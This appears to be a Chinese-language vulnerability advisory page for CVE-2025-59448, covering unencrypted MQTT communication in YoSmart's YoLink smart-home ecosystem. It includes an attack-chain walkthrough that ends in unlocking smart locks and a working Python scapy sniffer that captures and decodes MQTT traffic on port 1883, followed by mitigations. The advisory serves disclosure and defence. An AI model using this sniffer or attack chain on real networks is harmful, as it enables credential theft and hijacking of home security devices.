IPBUF安全漏洞报告
English
CVE-2025-59448 CVSS 4.7 中危

CVE-2025-59448:YoSmart YoLink生态系统未加密MQTT通信漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-59448
漏洞类型
信息泄露/中间人攻击(明文传输)
CVSS评分
4.7 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
YoSmart YoLink生态系统(YoLink Hub、YoLink Mobile Application、YoLink MQTT Broker)

相关标签

CVE-2025-59448YoSmartYoLinkMQTT未加密通信信息泄露中间人攻击物联网安全IoTBishop Fox

漏洞概述

CVE-2025-59448是存在于YoSmart公司YoLink物联网生态系统中的一个安全漏洞。该漏洞涉及YoSmart YoLink生态系统的多个组件,包括YoLink Hub 0382固件、YoLink Mobile Application 1.40.41版本以及YoLink MQTT Broker。这些组件在通过互联网进行通信时,使用了未加密的MQTT(Message Queuing Telemetry Transport)协议进行数据传输。MQTT是一种轻量级的消息队列遥测传输协议,广泛应用于物联网设备之间的通信。然而,当MQTT协议在不加密的通道上使用时,传输的数据将以明文形式在网络中传递,任何能够监控网络流量的攻击者都可以截获并查看这些数据。攻击者不仅可以获取设备间传输的敏感信息(如设备控制指令、设备状态、用户凭证等),还可以篡改传输的数据,实现对受影响设备的恶意控制。该漏洞由安全研究公司Bishop Fox发现并报告。值得注意的是,YoSmart厂商对此发表了声明,表示该漏洞(与不安全传输相关)仅影响遗留的移动应用程序逻辑,并不影响Hub硬件或固件。Hub仅作为LoRa无线数据的透明网关(pass-through),不检查或处理应用层数据。尽管厂商发表了声明,但该漏洞仍然对使用受影响版本移动应用的用户构成安全风险,因为移动应用通过未加密的MQTT通道与Broker通信,可能导致用户敏感信息泄露或设备被恶意操控。

技术细节

该漏洞的核心技术原理在于YoSmart YoLink生态系统的MQTT通信未采用TLS/SSL加密机制。MQTT协议本身是一种基于发布/订阅模式的消息传输协议,通常运行在TCP/IP协议栈之上。在默认配置下,MQTT使用1883端口进行明文通信,而加密版本(MQTTS)则使用8883端口并基于TLS协议。在YoSmart YoLink的实现中,YoLink Hub通过LoRa无线技术与终端设备(如智能锁、传感器等)通信,然后通过Wi-Fi或以太网连接到互联网上的YoLink MQTT Broker。YoLink移动应用同样连接到该Broker以接收设备状态和发送控制指令。然而,这些组件之间的通信链路未实施端到端加密,导致以下安全风险:1)数据机密性丧失:所有传输的MQTT消息(包括主题、payload、客户端ID等)以明文形式传输,攻击者可以通过网络嗅探工具(如Wireshark、tcpdump)捕获并解析这些消息;2)数据完整性丧失:攻击者可以在中间人位置篡改MQTT消息内容,例如伪造设备状态或注入恶意控制指令;3)凭证泄露风险:如果MQTT连接使用了用户名/密码认证,这些凭证也将以明文形式传输,可能被攻击者获取后用于未授权访问Broker;4)隐私泄露:消息内容可能包含用户的设备使用习惯、家庭环境信息等隐私数据。攻击利用条件:攻击者需要处于能够监控目标网络流量的位置(如同一Wi-Fi网络、局域网内或能够实施ARP欺骗等中间人攻击的位置),且目标设备正在进行MQTT通信。

攻击链分析

STEP 1
步骤1:网络位置准备
攻击者需要获取与目标YoSmart设备或移动应用同一网络环境的访问权限。这可以通过连接到目标家庭/办公Wi-Fi网络、在公共网络(如咖啡厅、机场)实施中间人攻击,或通过已入侵的网络设备进行流量监控来实现。
STEP 2
步骤2:网络流量嗅探
攻击者使用网络嗅探工具(如Wireshark、tcpdump或上述PoC脚本)捕获目标网络中的MQTT流量。由于YoLink组件使用1883端口进行明文通信,所有MQTT消息将以明文形式在网络中传输。
STEP 3
步骤3:敏感信息提取
攻击者解析捕获的MQTT数据包,提取其中的敏感信息,包括设备控制指令、设备状态信息、用户凭证(如用户名/密码)、客户端标识符等。这些信息可用于了解用户的设备使用情况或进一步的攻击活动。
STEP 4
步骤4:中间人攻击(可选)
攻击者可以更进一步实施ARP欺骗或DNS劫持,将MQTT流量重定向到攻击者控制的代理,从而在传输过程中篡改MQTT消息内容,例如伪造设备状态、注入恶意控制指令,或劫持对智能锁、摄像头等设备的控制。
STEP 5
步骤5:未授权设备控制
利用获取的凭证或篡改的控制指令,攻击者可以远程控制YoLink生态系统中的智能设备,如解锁智能门锁、关闭安全系统、操控照明等,对用户的物理安全和隐私构成直接威胁。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-59448 - YoSmart YoLink Unencrypted MQTT Sniffing PoC # This PoC demonstrates how an attacker can sniff unencrypted MQTT traffic # from the YoSmart YoLink ecosystem on a local network. import socket import struct import sys import argparse from datetime import datetime try: from scapy.all import sniff, TCP, Raw except ImportError: print("[-] scapy is required. Install with: pip install scapy") sys.exit(1) def parse_mqtt_packet(data): """Parse MQTT fixed header from raw bytes.""" if len(data) < 2: return None packet_type = (data[0] >> 4) & 0x0F flags = data[0] & 0x0F remaining_length = data[1] type_names = { 1: "CONNECT", 2: "CONNACK", 3: "PUBLISH", 4: "PUBACK", 5: "PUBREC", 6: "PUBREL", 7: "PUBCOMP", 8: "SUBSCRIBE", 9: "SUBACK", 10: "UNSUBSCRIBE", 11: "UNSUBACK", 12: "PINGREQ", 13: "PINGRESP", 14: "DISCONNECT" } return type_names.get(packet_type, f"UNKNOWN({packet_type})") def extract_strings(data, min_length=4): """Extract printable strings from binary data.""" result = [] current = [] for byte in data: if 32 <= byte <= 126: current.append(chr(byte)) else: if len(current) >= min_length: result.append(''.join(current)) current = [] if len(current) >= min_length: result.append(''.join(current)) return result def packet_callback(packet): """Callback for each captured packet on MQTT port (1883).""" if packet.haslayer(TCP) and packet.haslayer(Raw): tcp_layer = packet[TCP] if tcp_layer.dport == 1883 or tcp_layer.sport == 1883: payload = bytes(packet[Raw].load) mqtt_type = parse_mqtt_packet(payload) timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") src = f"{packet[0][1].src}:{tcp_layer.sport}" dst = f"{packet[0][1].dst}:{tcp_layer.dport}" print(f"\n[{timestamp}] MQTT {mqtt_type} | {src} -> {dst}") strings = extract_strings(payload) if strings: print(f" Extracted data: {strings[:10]}") print(f" Raw hex: {payload.hex()[:200]}") def main(): parser = argparse.ArgumentParser( description="CVE-2025-59448 PoC - Sniff YoSmart YoLink unencrypted MQTT traffic" ) parser.add_argument("-i", "--interface", default=None, help="Network interface to sniff on") parser.add_argument("-f", "--filter", default="tcp port 1883", help="BPF filter (default: tcp port 1883)") parser.add_argument("-c", "--count", type=int, default=0, help="Number of packets to capture (0=infinite)") args = parser.parse_args() print("=" * 60) print("CVE-2025-59448 - YoSmart YoLink MQTT Sniffer PoC") print("=" * 60) print(f"[*] Interface: {args.interface or 'default'}") print(f"[*] Filter: {args.filter}") print("[*] Waiting for MQTT traffic (Ctrl+C to stop)...\n") try: sniff(iface=args.interface, filter=args.filter, prn=packet_callback, count=args.count, store=0) except KeyboardInterrupt: print("\n[*] Stopped by user.") except PermissionError: print("[-] Permission denied. Run with sudo/Administrator privileges.") sys.exit(1) if __name__ == "__main__": main()

影响范围

YoLink Hub 0382(通过2025-10-02的所有版本)
YoLink Mobile Application 1.40.41及之前版本
YoLink MQTT Broker(通过2025-10-02的所有版本)

防御指南

临时缓解措施
在等待厂商完全修复期间,建议用户采取以下临时缓解措施:1)确保家庭/办公Wi-Fi网络使用WPA3或至少WPA2加密,并设置强密码防止未授权接入;2)将IoT设备隔离在独立的VLAN或访客网络中,减少与主网络的直接通信;3)使用网络监控工具定期检查1883端口的MQTT流量,识别异常活动;4)避免在公共Wi-Fi网络下使用YoLink移动应用控制设备;5)考虑通过VPN连接到家庭网络后再进行设备控制;6)关注厂商的安全公告(参考链接:https://shop.yosmart.com/pages/sa-2025-001),及时应用安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表